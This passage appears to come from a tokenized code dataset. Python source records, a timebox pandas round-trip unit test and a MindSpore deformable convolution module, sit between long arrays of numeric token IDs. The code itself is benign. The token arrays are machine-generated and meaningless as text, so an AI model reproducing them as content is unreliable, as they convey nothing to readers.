3515, 278, 18459, 322, 12266, 967, 4660, 29889, 13, 4706, 1775, 371, 353, 3876, 29889, 14930, 4373, 4247, 877, 2922, 371, 742, 29871, 29900, 29897, 13, 13, 4706, 396, 319, 27436, 304, 1925, 5742, 278, 5881, 29889, 13, 4706, 27436, 353, 3876, 29889, 14930, 4373, 4247, 877, 1627, 292, 742, 29871, 29896, 29900, 29897, 13, 13, 4706, 396, 319, 5881, 304, 2479, 278, 18459, 29889, 13, 4706, 5881, 353, 3876, 29889, 14930, 4373, 4247, 877, 7543, 742, 29871, 29906, 29900, 29897, 13, 13, 4706, 396, 319, 8014, 3515, 304, 9228, 278, 1775, 371, 322, 5004, 278, 5881, 515, 13, 4706, 396, 967, 22092, 943, 29889, 13, 4706, 3515, 353, 3876, 29889, 14930, 4373, 4247, 877, 2557, 742, 29871, 29941, 29900, 29897, 13, 13, 13, 4706, 363, 282, 297, 1583, 29889, 29886, 4620, 4110, 29901, 13, 9651, 301, 29892, 364, 29892, 289, 29892, 260, 353, 282, 29889, 29886, 13, 9651, 28232, 353, 313, 29880, 718, 364, 29897, 334, 29871, 29900, 29889, 29945, 13, 9651, 5094, 353, 313, 29890, 718, 260, 29897, 334, 29871, 29900, 29889, 29945, 13, 9651, 14653, 682, 9782, 353, 5345, 29946, 29889, 21652, 9782, 6278, 18904, 29892, 29871, 29900, 29892, 448, 1270, 29897, 334, 5345, 29946, 29889, 7052, 9782, 29898, 29900, 29889, 29929, 29897, 334, 5345, 29946, 29889, 21652, 9782, 29898, 18904, 29892, 29871, 29900, 29892, 5094, 29897, 13, 13, 9651, 7477, 353, 9160, 29924, 5790, 877, 1627, 292, 1495, 13, 9651, 7477, 29889, 842, 4308, 29898, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 9651, 7477, 29889, 842, 3306, 29898, 29900, 29889, 29896, 29892, 29871, 29900, 29889, 29941, 29892, 29871, 29900, 29889, 29945, 29892, 29871, 29896, 29897, 13, 9651, 274, 353, 27436, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3101, 13, 9651, 274, 29889, 842, 9782, 29898, 845, 29878, 682, 9782, 29897, 13, 13, 9651, 7477, 353, 9160, 29924, 5790, 877, 7543, 1495, 13, 9651, 7477, 29889, 842, 4308, 29898, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 9651, 565, 282, 29889, 5450, 630, 29901, 13, 18884, 7477, 29889, 842, 29965, 29894, 6069, 3552, 29900, 29892, 29871, 29896, 511, 313, 29900, 29892, 29871, 29900, 511, 313, 29896, 29892, 29871, 29900, 511, 313, 29896, 29892, 29871, 29896, 876, 13, 9651, 274, 353, 5881, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3101, 13, 9651, 274, 29889, 842, 9782, 29898, 845, 29878, 682, 9782, 29897, 13, 13, 9651, 7477, 353, 9160, 29924, 5790, 877, 2922, 371, 1495, 13, 9651, 7477, 29889, 842, 4308, 29898, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 9651, 1775, 371, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3101, 13, 13, 9651, 19375, 353, 7407, 17669, 29879, 877, 2557, 1495, 13, 9651, 19375, 29889, 842, 3306, 29898, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 9651, 19375, 29889, 11631, 1762, 29898, 29880, 29892, 29871, 29900, 29892, 289, 29897, 13, 9651, 19375, 29889, 4012, 1762, 29898, 29878, 29892, 29871, 29900, 29892, 289, 29897, 13, 9651, 19375, 29889, 4012, 1762, 29898, 29878, 29892, 29871, 29900, 29892, 260, 29897, 13, 9651, 19375, 29889, 4012, 1762, 29898, 29880, 29892, 29871, 29900, 29892, 260, 29897, 13, 9651, 19375, 29889, 4012, 1762, 29898, 29880, 29892, 29871, 29900, 29892, 289, 29897, 13, 9651, 285, 29896, 353, 3515, 29889, 14930, 4373, 4247, 29898, 3137, 29889, 3258, 3101, 13, 9651, 285, 29906, 353, 285, 29896, 29889, 8552, 1762, 29898, 2557, 29897, 13, 9651, 285, 29906, 29889, 842, 9782, 29898, 845, 29878, 682, 9782, 29897, 13, 13, 4706, 396, 2922, 371, 29889, 1579, 8606, 5015, 549, 580, 13, 4706, 1583, 29889, 2922, 371, 353, 1775, 371, 13, 13, 4706, 396, 1627, 292, 29889, 1579, 8606, 5015, 549, 580, 13, 4706, 1583, 29889, 1627, 292, 353, 27436, 13, 13, 4706, 5881, 29889, 842, 4300, 862, 3819, 29898, 4300, 862, 3819, 4165, 1091, 29889, 1529, 29880, 2026, 29897, 13, 4706, 5881, 29889, 12038, 545, 29898, 1311, 29889, 4776, 29897, 13, 4706, 396, 7543, 29889, 1579, 8606, 5015, 549, 580, 13, 4706, 1583, 29889, 7543, 353, 5881, 13, 13, 4706, 396, 2557, 29889, 1579, 8606, 5015, 549, 580, 13, 4706, 1583, 29889, 2557, 353, 3515, 13, 13, 4706, 3876, 29889, 276, 3560, 1762, 29898, 18276, 29893, 29889, 15257, 29897, 13, 13, 4706, 1583, 29889, 4632, 353, 3876, 13, 13, 4706, 396, 3115, 29892, 1207, 697, 470, 901, 2828, 519, 25992, 24709, 261, 4597, 1080, 29889, 13, 4706, 4974, 1583, 29889, 1727, 1080, 1275, 5159, 13, 4706, 363, 2930, 297, 3464, 29898, 2435, 29898, 1311, 29889, 29886, 4620, 4110, 22164, 13, 9651, 282, 353, 1583, 29889, 29886, 4620, 4110, 29961, 1631, 29962, 13, 9651, 364, 353, 25992, 24709, 261, 18457, 877, 29995, 29879, 16664, 29879, 29915, 1273, 313, 1311, 29889, 1989, 29892, 2930, 511, 334, 29886, 29889, 29886, 29897, 13, 9651, 27702, 29893, 29889, 29885, 29893, 29889, 1202, 18457, 29898, 29878, 29897, 13, 9651, 1583, 29889, 1727, 1080, 29889, 4397, 29898, 29878, 29897, 13, 13, 1990, 8490, 29925, 9552, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 301, 29892, 364, 29892, 289, 29892, 260, 1125, 13, 4706, 1583, 29889, 29886, 353, 313, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 4706, 1583, 29889, 6203, 353, 313, 29878, 448, 301, 29897, 334, 313, 29873, 448, 289, 29897, 13, 4706, 1583, 29889, 5450, 630, 353, 7700, 13, 4706, 1583, 29889, 2262, 287, 353, 29871, 29900, 13, 13, 1678, 822, 25869, 29879, 29898, 1311, 29892, 916, 1125, 13, 4706, 9995, 16969, 5852, 565, 278, 2174, 29883, 4110, 25869, 29892, 7700, 13, 4706, 6467, 29889, 9995, 13, 13, 4706, 286, 29880, 29892, 286, 29878, 29892, 286, 29890, 29892, 286, 29873, 353, 1583, 29889, 29886, 13, 4706, 260, 29880, 29892, 534, 29892, 260, 29890, 29892, 260, 29873, 353, 916, 29889, 29886, 13, 13, 4706, 736, 313, 15206, 529, 286, 29878, 322, 534, 1405, 286, 29880, 322, 13, 18884, 260, 29890, 529, 286, 29873, 322, 260, 29873, 1405, 286, 29890, 29897, 13, 13, 1678, 822, 731, 21591, 13168, 29879, 29898, 1311, 29892, 2586, 13168, 29879, 1125, 13, 4706, 9995, 317, 1691, 599, 310, 278, 8210, 9978, 304, 12266, 445, 5120, 13, 4706, 338, 4586, 29889, 9995, 13, 13, 4706, 301, 29892, 364, 29892, 289, 29892, 260, 353, 1583, 29889, 29886, 13, 4706, 11105, 353, 18531, 2588, 29889, 3881, 29898, 29880, 29892, 364, 448, 301, 29897, 13, 13, 4706, 363, 343, 29875, 297, 3464, 29898, 29890, 29892, 260, 1125, 13, 9651, 4974, 313, 2966, 13168, 29879, 29961, 25675, 29962, 669, 11105, 467, 275, 24214, 580, 13, 9651, 2586, 13168, 29879, 29961, 25675, 29962, 891, 29922, 11105, 13, 13, 1678, 822, 2821, 21591, 13168, 29879, 29898, 1311, 29892, 2586, 13168, 29879, 1125, 13, 4706, 9995, 21386, 1503, 599, 310, 278, 8210, 9978, 304, 12266, 445, 5120, 13, 4706, 338, 3625, 29889, 9995, 13, 13, 4706, 301, 29892, 364, 29892, 289, 29892, 260, 353, 1583, 29889, 29886, 13, 4706, 11105, 353, 3695, 21591, 2588, 29889, 3881, 29898, 29880, 29892, 364, 448, 301, 29897, 13, 13, 4706, 363, 343, 29875, 297, 3464, 29898, 29890, 29892, 260, 1125, 13, 9651, 4974, 313, 2966, 13168, 29879, 29961, 25675, 29962, 891, 11105, 467, 275, 3596, 2951, 580, 13, 9651, 2586, 13168, 29879, 29961, 25675, 29962, 7878, 11105, 13, 13, 1678, 822, 756, 3563, 6984, 29898, 1311, 29892, 2586, 13168, 29879, 1125, 13, 4706, 9995, 16969, 1565, 565, 727, 338, 385, 25457, 411, 445, 5120, 322, 13, 4706, 738, 916, 5120, 29892, 2089, 6467, 29889, 9995, 13, 13, 4706, 301, 29892, 364, 29892, 289, 29892, 260, 353, 1583, 29889, 29886, 13, 4706, 11105, 353, 18531, 2588, 29889, 3881, 29898, 29880, 29892, 364, 448, 301, 29897, 13, 13, 4706, 363, 343, 29875, 297, 3464, 29898, 29890, 29892, 260, 1125, 13, 9651, 565, 451, 313, 2966, 13168, 29879, 29961, 25675, 29962, 669, 11105, 467, 275, 24214, 7295, 13, 18884, 736, 5852, 13, 4706, 736, 7700, 13, 2 ]
timebox/tests/test_timebox_pandas.py
BrianKopp/timebox
1
28621
from timebox.timebox import TimeBox from timebox.utils.exceptions import InvalidPandasIndexError import pandas as pd import numpy as np import unittest import os import logging class TestTimeBoxPandas(unittest.TestCase): def test_save_pandas(self): file_name = 'save_pandas.npb' df = pd.read_csv('timebox/tests/data/ETH-USD_combined_utc.csv', index_col=0) tb = TimeBox.save_pandas(df, file_name) self.assertTrue(os.path.exists(file_name)) tb_read = TimeBox(file_name) df2 = tb_read.to_pandas() df_columns = list(df) df_columns.sort() df2_columns = list(df2) df2_columns.sort() self.assertListEqual(df_columns, df2_columns) os.remove(file_name) return def test_pandas_errors(self): df = pd.DataFrame.from_dict( { 'value_1': np.array([0, 1, 2], dtype=np.uint8) }, orient='columns' ) with self.assertRaises(InvalidPandasIndexError): TimeBox.save_pandas(df, 'not_going_to_save.npb') return def test_io_pandas(self): file_name = 'save_pandas.npb' df = pd.read_csv('timebox/tests/data/test1.csv').set_index('date') logging.debug('Starting test_io_pandas with df\n{}'.format(df)) tb = TimeBox.save_pandas(df, file_name) tb_read = TimeBox(file_name) df2 = tb_read.to_pandas() self.assertListEqual(list(df.columns.sort_values()), list(df2.columns.sort_values())) df = df.sort_index() # ensure index is same for i in range(0, len(df.index)): self.assertEqual(pd.to_datetime(df.index[i]), pd.to_datetime(df2.index[i])) # ensure each value is the same columns = df.columns for c in columns: logging.debug('Testing column: {}'.format(c)) logging.debug('Original frame:{}'.format(df[c])) logging.debug('TB frame:{}'.format(df2[c])) self.assertEqual(df[c].sum(), df2[c].sum()) os.remove(file_name) return if __name__ == '__main__': unittest.main()
[ 1, 515, 931, 1884, 29889, 2230, 1884, 1053, 5974, 3313, 13, 3166, 931, 1884, 29889, 13239, 29889, 11739, 29879, 1053, 21403, 29925, 7086, 3220, 2392, 13, 5215, 11701, 408, 10518, 13, 5215, 12655, 408, 7442, 13, 5215, 443, 27958, 13, 5215, 2897, 13, 5215, 12183, 13, 13, 13, 1990, 4321, 2481, 3313, 29925, 7086, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 1243, 29918, 7620, 29918, 15112, 29898, 1311, 1125, 13, 4706, 934, 29918, 978, 353, 525, 7620, 29918, 15112, 29889, 9302, 29890, 29915, 13, 4706, 4489, 353, 10518, 29889, 949, 29918, 7638, 877, 2230, 1884, 29914, 21150, 29914, 1272, 29914, 2544, 29950, 29899, 3308, 29928, 29918, 17743, 1312, 29918, 329, 29883, 29889, 7638, 742, 2380, 29918, 1054, 29922, 29900, 29897, 13, 4706, 260, 29890, 353, 5974, 3313, 29889, 7620, 29918, 15112, 29898, 2176, 29892, 934, 29918, 978, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 359, 29889, 2084, 29889, 9933, 29898, 1445, 29918, 978, 876, 13, 13, 4706, 260, 29890, 29918, 949, 353, 5974, 3313, 29898, 1445, 29918, 978, 29897, 13, 4706, 4489, 29906, 353, 260, 29890, 29918, 949, 29889, 517, 29918, 15112, 580, 13, 13, 4706, 4489, 29918, 13099, 353, 1051, 29898, 2176, 29897, 13, 4706, 4489, 29918, 13099, 29889, 6605, 580, 13, 4706, 4489, 29906, 29918, 13099, 353, 1051, 29898, 2176, 29906, 29897, 13, 4706, 4489, 29906, 29918, 13099, 29889, 6605, 580, 13, 13, 4706, 1583, 29889, 9294, 1293, 9843, 29898, 2176, 29918, 13099, 29892, 4489, 29906, 29918, 13099, 29897, 13, 4706, 2897, 29889, 5992, 29898, 1445, 29918, 978, 29897, 13, 4706, 736, 13, 13, 1678, 822, 1243, 29918, 15112, 29918, 12523, 29898, 1311, 1125, 13, 4706, 4489, 353, 10518, 29889, 17271, 29889, 3166, 29918, 8977, 29898, 13, 9651, 426, 13, 18884, 525, 1767, 29918, 29896, 2396, 7442, 29889, 2378, 4197, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 1402, 26688, 29922, 9302, 29889, 13470, 29947, 29897, 13, 9651, 2981, 13, 9651, 7769, 2433, 13099, 29915, 13, 4706, 1723, 13, 4706, 411, 1583, 29889, 9294, 29934, 1759, 267, 29898, 13919, 29925, 7086, 3220, 2392, 1125, 13, 9651, 5974, 3313, 29889, 7620, 29918, 15112, 29898, 2176, 29892, 525, 1333, 29918, 17696, 29918, 517, 29918, 7620, 29889, 9302, 29890, 1495, 13, 4706, 736, 13, 13, 1678, 822, 1243, 29918, 601, 29918, 15112, 29898, 1311, 1125, 13, 4706, 934, 29918, 978, 353, 525, 7620, 29918, 15112, 29889, 9302, 29890, 29915, 13, 4706, 4489, 353, 10518, 29889, 949, 29918, 7638, 877, 2230, 1884, 29914, 21150, 29914, 1272, 29914, 1688, 29896, 29889, 7638, 2824, 842, 29918, 2248, 877, 1256, 1495, 13, 4706, 12183, 29889, 8382, 877, 4763, 292, 1243, 29918, 601, 29918, 15112, 411, 4489, 29905, 29876, 8875, 4286, 4830, 29898, 2176, 876, 13, 4706, 260, 29890, 353, 5974, 3313, 29889, 7620, 29918, 15112, 29898, 2176, 29892, 934, 29918, 978, 29897, 13, 4706, 260, 29890, 29918, 949, 353, 5974, 3313, 29898, 1445, 29918, 978, 29897, 13, 4706, 4489, 29906, 353, 260, 29890, 29918, 949, 29889, 517, 29918, 15112, 580, 13, 4706, 1583, 29889, 9294, 1293, 9843, 29898, 1761, 29898, 2176, 29889, 13099, 29889, 6605, 29918, 5975, 25739, 1051, 29898, 2176, 29906, 29889, 13099, 29889, 6605, 29918, 5975, 22130, 13, 13, 4706, 4489, 353, 4489, 29889, 6605, 29918, 2248, 580, 13, 4706, 396, 9801, 2380, 338, 1021, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 2176, 29889, 2248, 22164, 13, 9651, 1583, 29889, 9294, 9843, 29898, 15926, 29889, 517, 29918, 12673, 29898, 2176, 29889, 2248, 29961, 29875, 11724, 10518, 29889, 517, 29918, 12673, 29898, 2176, 29906, 29889, 2248, 29961, 29875, 12622, 13, 13, 4706, 396, 9801, 1269, 995, 338, 278, 1021, 13, 4706, 4341, 353, 4489, 29889, 13099, 13, 4706, 363, 274, 297, 4341, 29901, 13, 9651, 12183, 29889, 8382, 877, 3057, 292, 1897, 29901, 6571, 4286, 4830, 29898, 29883, 876, 13, 9651, 12183, 29889, 8382, 877, 26036, 3515, 29901, 8875, 4286, 4830, 29898, 2176, 29961, 29883, 12622, 13, 9651, 12183, 29889, 8382, 877, 24895, 3515, 29901, 8875, 4286, 4830, 29898, 2176, 29906, 29961, 29883, 12622, 13, 9651, 1583, 29889, 9294, 9843, 29898, 2176, 29961, 29883, 1822, 2083, 3285, 4489, 29906, 29961, 29883, 1822, 2083, 3101, 13, 13, 4706, 2897, 29889, 5992, 29898, 1445, 29918, 978, 29897, 13, 4706, 736, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 443, 27958, 29889, 3396, 580, 13, 2 ]
model_zoo/research/cv/centernet/src/dcn_v2.py
chncwang/mindspore
1
65336
<reponame>chncwang/mindspore # Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """ Deformable Convolution operator V2 """ import mindspore.nn as nn import mindspore.ops as ops import mindspore.common.dtype as mstype from .utils import ClipByValue class GetOffsetPosition(nn.Cell): """ Get position index after deformable shift of each kernel element. Args: begin(int): The begging position index of convolutional kernel center. stride (int): The distance of kernel moving. Returns: Tensor, new position index of each kernel element. """ def __init__(self, begin, stride): super(GetOffsetPosition, self).__init__() self.begin = begin self.stride = stride self.meshgrid = ops.Meshgrid() self.shape = ops.Shape() self.reshape = ops.Reshape() self.cat_a0 = ops.Concat(axis=0) self.cat_a1 = ops.Concat(axis=1) self.tile = ops.Tile() self.dtype = ops.DType() self.range = nn.Range(-self.begin, self.begin + 1) self.cast = ops.Cast() def construct(self, offset): """get target position""" offset_shape = self.shape(offset) # b * 2N * h * w N, h, w = offset_shape[1] // 2, offset_shape[2], offset_shape[3] # get p_n range_pn = self.range() p_n_x, p_n_y = self.meshgrid((range_pn, range_pn)) # (2N, 1) p_n = self.cat_a0((self.reshape(p_n_x, (N, 1)), self.reshape(p_n_y, (N, 1)))) p_n = self.reshape(p_n, (1, 2 * N, 1, 1)) # get p_0 range_h = nn.Range(self.begin, h*self.stride + 1, self.stride)() range_w = nn.Range(self.begin, w*self.stride + 1, self.stride)() p_0_x, p_0_y = self.meshgrid((range_h, range_w)) p_0_x = self.reshape(p_0_x, (1, 1, h, w)) p_0_x = self.tile(p_0_x, (1, N, 1, 1)) p_0_y = self.reshape(p_0_y, (1, 1, h, w)) p_0_y = self.tile(p_0_y, (1, N, 1, 1)) p_0 = self.cat_a1((p_0_x, p_0_y)) # get p dtype = self.dtype(offset) p = self.cast(p_0, dtype) + self.cast(p_n, dtype) + offset return p class GetSurroundFeature(nn.Cell): """ Get feature after deformable shift of each kernel element. Args: None Returns: Tensor, feature map after deformable shift. """ def __init__(self): super(GetSurroundFeature, self).__init__() self.shape = ops.Shape() self.concat = ops.Concat(axis=1) self.reshape = ops.Reshape() self.half = ops.Split(axis=-1, output_num=2) self.tile = ops.Tile() self.gather_nd = ops.GatherNd() self.transpose = ops.Transpose() self.perm_list = (0, 2, 3, 1) self.order_list = (0, 3, 1, 2) self.expand_dims = ops.ExpandDims() def construct(self, x, q_h, q_w): """gather feature by specified index""" b, c, _, w_p = self.shape(x) _, h, w, N = self.shape(q_h) hwn = h * w * N # (b * hw * c) x = self.transpose(x, self.perm_list) x = self.reshape(x, (b, -1, c)) # (b * hwN) q = q_h * w_p + q_w q = self.reshape(q, (-1, 1)) ind_b = nn.Range(0, b, 1)() ind_b = self.reshape(ind_b, (-1, 1)) ind_b = self.tile(ind_b, (1, hwn)) ind_b = self.reshape(ind_b, (-1, 1)) index = self.concat((ind_b, q)) # (b, hwn, 2) index = self.reshape(index, (b, hwn, -1)) # (b, hwn, c) x_offset = self.gather_nd(x, index) # (b, c, h, w, N) x_offset = self.reshape(x_offset, (b, h * w, N, c)) x_offset = self.transpose(x_offset, self.order_list) x_offset = self.reshape(x_offset, (b, c, h, w, N)) return x_offset class RegenerateFeatureMap(nn.Cell): """ Get rescaled feature map which was enlarged by ks**2 time. Args: ks: Kernel size of convolution. Returns: Tensor, rescaled feature map. """ def __init__(self, ks): super(RegenerateFeatureMap, self).__init__() self.ks = ks self.shape = ops.Shape() self.reshape = ops.Reshape() self.split = ops.Split(axis=-1, output_num=ks) self.concat = ops.Concat(axis=2) def construct(self, x_offset): b, c, h, w, _ = self.shape(x_offset) splits = self.split(x_offset) x_offset = self.concat(splits) ks = self.ks x_offset = self.reshape(x_offset, (b, c, h * ks, w * ks)) return x_offset class DeformConv2d(nn.Cell): """ Deformable convolution opertor Args: inc(int): Input channel. outc(int): Output channel. kernel_size (int): Convolution window. Default: 3. stride (int): The distance of kernel moving. Default: 1. padding (int): Implicit paddings size on both sides of the input. Default: 1. has_bias (bool): Specifies whether the layer uses a bias vector. Default: False. modulation (bool): If True, modulated defomable convolution (Deformable ConvNets v2). Default: True. Returns: Tensor, detection of images(bboxes, score, keypoints and category id of each objects) """ def __init__(self, inc, outc, kernel_size=3, padding=1, stride=1, has_bias=False, modulation=True): super(DeformConv2d, self).__init__() self.kernel_size = kernel_size self.padding = padding self.stride = stride self.zero_padding = nn.Pad(((0, 0), (0, 0), (padding, padding), (padding, padding))) self.conv = nn.Conv2d(inc, outc, kernel_size=kernel_size, pad_mode='valid', padding=0, stride=kernel_size, has_bias=has_bias) self.p_conv = nn.Conv2d(inc, 2*kernel_size*kernel_size, kernel_size=self.kernel_size, pad_mode='pad', padding=self.padding, stride=self.stride) self.modulation = modulation if modulation: self.m_conv = nn.Conv2d(inc, kernel_size*kernel_size, kernel_size=self.kernel_size, pad_mode='valid', padding=0, stride=self.stride) if kernel_size % 2 == 0: raise ValueError("Only odd number is supported, but current kernel sizeis {}".format(kernel_size)) self.N = kernel_size * kernel_size self.begin = kernel_size // 2 self.sigmoid = ops.Sigmoid() self.dtype = ops.DType() self.perm_list = (0, 2, 3, 1) self.transpose = ops.Transpose() self.floor = ops.Floor() self.half = ops.Split(axis=-1, output_num=2) self.clip_value = ClipByValue() self.expand_dims = ops.ExpandDims() self.shape = ops.Shape() self.cast = ops.Cast() self._get_offset = GetOffsetPosition(self.begin, self.stride) self._get_surround = GetSurroundFeature() self._generate_fm = RegenerateFeatureMap(self.kernel_size) def construct(self, x): """deformed sampling locations with augmented offsets""" offset = self.p_conv(x) # (b, c, h, w)) x_shape = self.shape(x) # (b, c, h + 2p, w + 2p) if self.padding > 0: x = self.zero_padding(x) # (b, 2N, h, w) p = self._get_offset(offset) # (b, h, w, 2N) p = self.transpose(p, self.perm_list) q_lt = self.cast(self.floor(p), mstype.int32) q_rb = q_lt + 1 # (b, h, w, N) q_lt_h, q_lt_w = self.half(q_lt) q_lt_h = self.clip_value(q_lt_h, 0, x_shape[2] - 1) q_lt_w = self.clip_value(q_lt_w, 0, x_shape[3] - 1) # (b, h, w, N) q_rb_h, q_rb_w = self.half(q_rb) q_rb_h = self.clip_value(q_rb_h, 0, x_shape[2] - 1) q_rb_w = self.clip_value(q_rb_w, 0, x_shape[3] - 1) # clip p p_h, p_w = self.half(p) dtype = self.dtype(offset) p_h = self.clip_value(p_h, self.cast(0, dtype), self.cast(x_shape[2] - 1, dtype)) p_w = self.clip_value(p_w, self.cast(0, dtype), self.cast(x_shape[3] - 1, dtype)) # bilinear kernel (b, h, w, N) g_lt = (1 + (q_lt_h - p_h)) * (1 + (q_lt_w - p_w)) g_rb = (1 - (q_rb_h - p_h)) * (1 - (q_rb_w - p_w)) g_lb = (1 + (q_lt_h - p_h)) * (1 - (q_rb_w - p_w)) g_rt = (1 - (q_rb_h - p_h)) * (1 + (q_lt_w - p_w)) # (b, c, h, w, N) x_q_lt = self._get_surround(x, q_lt_h, q_lt_w) x_q_rb = self._get_surround(x, q_rb_h, q_rb_w) x_q_lb = self._get_surround(x, q_lt_h, q_rb_w) x_q_rt = self._get_surround(x, q_rb_h, q_lt_w) # (b, c, h, w, N) x_offset = (self.expand_dims(g_lt, 1) * x_q_lt + self.expand_dims(g_rb, 1) * x_q_rb + self.expand_dims(g_lb, 1) * x_q_lb + self.expand_dims(g_rt, 1) * x_q_rt) if self.modulation: # modulation (b, 1, h, w, N) m = self.sigmoid(self.m_conv(x)) m = self.transpose(m, self.perm_list) m = self.expand_dims(m, 1) x_offset = x_offset * m x_offset = self._generate_fm(x_offset) out = self.conv(x_offset) return out
[ 1, 529, 276, 1112, 420, 29958, 3049, 29883, 29893, 574, 29914, 24021, 1028, 487, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29900, 379, 3357, 26599, 8364, 11763, 3189, 1696, 19806, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 29937, 1275, 9166, 9166, 9166, 9166, 4936, 1360, 13, 15945, 29908, 13, 2772, 689, 519, 1281, 4068, 5455, 478, 29906, 13, 15945, 29908, 13, 13, 5215, 3458, 1028, 487, 29889, 15755, 408, 302, 29876, 13, 5215, 3458, 1028, 487, 29889, 3554, 408, 288, 567, 13, 5215, 3458, 1028, 487, 29889, 9435, 29889, 29881, 1853, 408, 286, 303, 668, 13, 13, 3166, 869, 13239, 1053, 315, 3466, 2059, 1917, 13, 13, 13, 1990, 3617, 10302, 8003, 29898, 15755, 29889, 4617, 1125, 13, 1678, 9995, 13, 1678, 3617, 2602, 2380, 1156, 316, 689, 519, 9500, 310, 1269, 8466, 1543, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 3380, 29898, 524, 1125, 450, 25945, 292, 2602, 2380, 310, 26851, 284, 8466, 4818, 29889, 13, 4706, 380, 2426, 313, 524, 1125, 450, 5418, 310, 8466, 8401, 29889, 13, 13, 1678, 16969, 29901, 13, 4706, 323, 6073, 29892, 716, 2602, 2380, 310, 1269, 8466, 1543, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3380, 29892, 380, 2426, 1125, 13, 4706, 2428, 29898, 2577, 10302, 8003, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 463, 353, 3380, 13, 4706, 1583, 29889, 303, 2426, 353, 380, 2426, 13, 4706, 1583, 29889, 4467, 29882, 7720, 353, 288, 567, 29889, 29924, 12094, 7720, 580, 13, 4706, 1583, 29889, 12181, 353, 288, 567, 29889, 24111, 580, 13, 4706, 1583, 29889, 690, 14443, 353, 288, 567, 29889, 1666, 14443, 580, 13, 4706, 1583, 29889, 4117, 29918, 29874, 29900, 353, 288, 567, 29889, 1168, 4117, 29898, 8990, 29922, 29900, 29897, 13, 4706, 1583, 29889, 4117, 29918, 29874, 29896, 353, 288, 567, 29889, 1168, 4117, 29898, 8990, 29922, 29896, 29897, 13, 4706, 1583, 29889, 29873, 488, 353, 288, 567, 29889, 29911, 488, 580, 13, 4706, 1583, 29889, 29881, 1853, 353, 288, 567, 29889, 29928, 1542, 580, 13, 4706, 1583, 29889, 3881, 353, 302, 29876, 29889, 6069, 6278, 1311, 29889, 463, 29892, 1583, 29889, 463, 718, 29871, 29896, 29897, 13, 4706, 1583, 29889, 4384, 353, 288, 567, 29889, 15738, 580, 13, 13, 1678, 822, 3386, 29898, 1311, 29892, 9210, 1125, 13, 4706, 9995, 657, 3646, 2602, 15945, 29908, 13, 4706, 9210, 29918, 12181, 353, 1583, 29889, 12181, 29898, 10289, 29897, 396, 289, 334, 29871, 29906, 29940, 334, 298, 334, 281, 13, 4706, 405, 29892, 298, 29892, 281, 353, 9210, 29918, 12181, 29961, 29896, 29962, 849, 29871, 29906, 29892, 9210, 29918, 12181, 29961, 29906, 1402, 9210, 29918, 12181, 29961, 29941, 29962, 13, 4706, 396, 679, 282, 29918, 29876, 13, 4706, 3464, 29918, 21257, 353, 1583, 29889, 3881, 580, 13, 4706, 282, 29918, 29876, 29918, 29916, 29892, 282, 29918, 29876, 29918, 29891, 353, 1583, 29889, 4467, 29882, 7720, 3552, 3881, 29918, 21257, 29892, 3464, 29918, 21257, 876, 13, 4706, 396, 313, 29906, 29940, 29892, 29871, 29896, 29897, 13, 4706, 282, 29918, 29876, 353, 1583, 29889, 4117, 29918, 29874, 29900, 3552, 1311, 29889, 690, 14443, 29898, 29886, 29918, 29876, 29918, 29916, 29892, 313, 29940, 29892, 29871, 29896, 8243, 1583, 29889, 690, 14443, 29898, 29886, 29918, 29876, 29918, 29891, 29892, 313, 29940, 29892, 29871, 29896, 13697, 13, 4706, 282, 29918, 29876, 353, 1583, 29889, 690, 14443, 29898, 29886, 29918, 29876, 29892, 313, 29896, 29892, 29871, 29906, 334, 405, 29892, 29871, 29896, 29892, 29871, 29896, 876, 13, 13, 4706, 396, 679, 282, 29918, 29900, 13, 4706, 3464, 29918, 29882, 353, 302, 29876, 29889, 6069, 29898, 1311, 29889, 463, 29892, 298, 29930, 1311, 29889, 303, 2426, 718, 29871, 29896, 29892, 1583, 29889, 